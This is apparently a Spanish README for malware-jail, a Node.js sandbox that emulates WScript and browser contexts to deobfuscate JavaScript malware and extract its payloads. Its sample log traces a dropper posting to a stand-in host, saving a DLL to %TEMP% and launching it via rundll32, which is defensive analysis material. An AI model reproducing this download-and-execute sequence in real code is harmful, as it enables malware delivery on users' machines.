
Sandbox para el análisis semiautomático de malware JavaScript, desofuscación y extracción de payload. Escrito para Node.js
Sandbox para análisis semiautomático de malware JavaScript, desofuscación y extracción de payload. Escrito para Node.js
malware-jail está escrito para el sandbox 'vm' de Node. Actualmente implementa el contexto WScript (Windows Scripting Host) env/wscript.js, al menos la parte usada frecuentemente por malware. El contexto del navegador de Internet está implementado parcialmente env/browser.js.
Se ejecuta en cualquier sistema operativo. Desarrollado y probado en Linux, Node.js v6.6.0.
Debido al uso de algunas características de ES6, necesitarás Node.js >= 6.x.
Ver EXAMPLES para muestras de malware analizadas.
Si tienes nuevas muestras de malware, por favor envíalas a javascript-malware-collection, ya sea mediante un issue o pull request.
Enumera consultas WMI en un archivo: wmis.json
Añadido nuevo parámetro:
--t404 - las solicitudes http siempre devuelven HTTP/404 y lanzan una excepción. Esto permite enumerar todas las URLs remotas.
Ahora las URLs se guardan en urls.json. Ver el último EXAMPLES#malware-of-issue-14.
Varias correcciones de errores y mejoras.
Varias correcciones de errores y mejoras.
Añadidos nuevos parámetros:
-t msecs - limita el tiempo de ejecución a "msecs" milisegundos, por defecto 60 segundos.
--h404 - las solicitudes http siempre devuelven HTTP/404 y no lanzan una excepción. Esto permite enumerar todas las URLs remotas.
Necesitarás tener instalados Node.js y npm.
malware-jail está construido sobre minimist, iconv-lite y entities.
Descarga el código fuente con git:
git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail
Luego instala todas las dependencias (minimist, entities, iconv-lite) con:
npm install
Aún no disponible, próximamente...
Ten cuidado al trabajar con malware real. Un malware que sea consciente de este sandbox puede intentar escapar y dañar tu PC. Se recomienda ejecutarlo desde una cuenta de Linux sin privilegios o desde una máquina Windows virtualizada. Los archivos Angler en la carpeta malware NO están desarmados.
bash@linux# node jailme.js -h -b list
7 May 20:54:52 - malware-jail, a malware sandbox ver. 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - Usage: node jailme.js [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 - [-o ofile] [-b id] \
7 May 20:54:52 - [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 - -c config .. use alternative config file, preceed with ./
7 May 20:54:52 - -e ifile ... js that simulates specific environment
7 May 20:54:52 - -o ofile ... name of the file where sandbox shall be dumped at the end
7 May 20:54:52 - -s odir ... output directory for generated files (malware payload)
7 May 20:54:52 - -b id ... browser type, use -b list for possible values
7 May 20:54:52 - -t msecs ... number of miliseconds before terminating execution, default 1 minute
7 May 20:54:52 - --trace ... print stack trace with every log line
7 May 20:54:52 - --down ... allow downloading malware payloads from remote servers
7 May 20:54:52 - --h404 ... on download return always HTTP/404
7 May 20:54:52 - malware ... js with the malware code
7 May 20:54:52 - If no arguments are specified the default values are taken from config.json
7 May 20:54:52 - Possible -b values: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]
En la carpeta de ejemplos puedes encontrar un archivo de malware desactivado. Ejecuta el análisis con:
node jailme.js -c ./config_wscript_only.json --down=y malware/example.js
El malware basado en navegador de Internet puedes probarlo con
node jailme.js -b IE11_W10 malware/example_browser.js
Al final del análisis, el contexto completo del sandbox se vuelca en un archivo 'sandbox_dump_after.json'.
Puede que quieras examinar las siguientes entradas de 'sandbox_dump_after.json':
'sandbox_dump_after.json' usa JSONPath, implementado por JSON-js/cycle.js, para guardar referencias duplicadas o cíclicas a un mismo objeto.
bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - Malware sandbox ver. 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - Sandbox environment sequence: env/eval.js,env/wscript.js
11 Jan 00:06:24 - Malware files: malware/example.js
11 Jan 00:06:24 - Output file for sandbox dump: sandbox_dump_after.json
11 Jan 00:06:24 - Output directory for generated files: output/
11 Jan 00:06:24 - ==> Preparing Sandbox environment.
11 Jan 00:06:24 - => Executing: env/eval.js
11 Jan 00:06:24 - Preparing sandbox to intercept eval() calls.
11 Jan 00:06:24 - => Executing: env/wscript.js
11 Jan 00:06:24 - Preparing sandbox to emulate WScript environment.
11 Jan 00:06:24 - ==> Executing malware file(s).
11 Jan 00:06:24 - => Executing: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - Created: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - Created: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Not sending data, if you want to interract with remote server, set --down=y
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Calling onreadystatechange() with dummy data
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - Created: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 bytes
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> Script execution finished, dumping sandbox environment to a file.
11 Jan 00:08:42 - Saving: output/_TEMP__49629482.dll
11 Jan 00:08:42 - Saving: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - The sandbox context has been saved to: sandbox_dump_after.json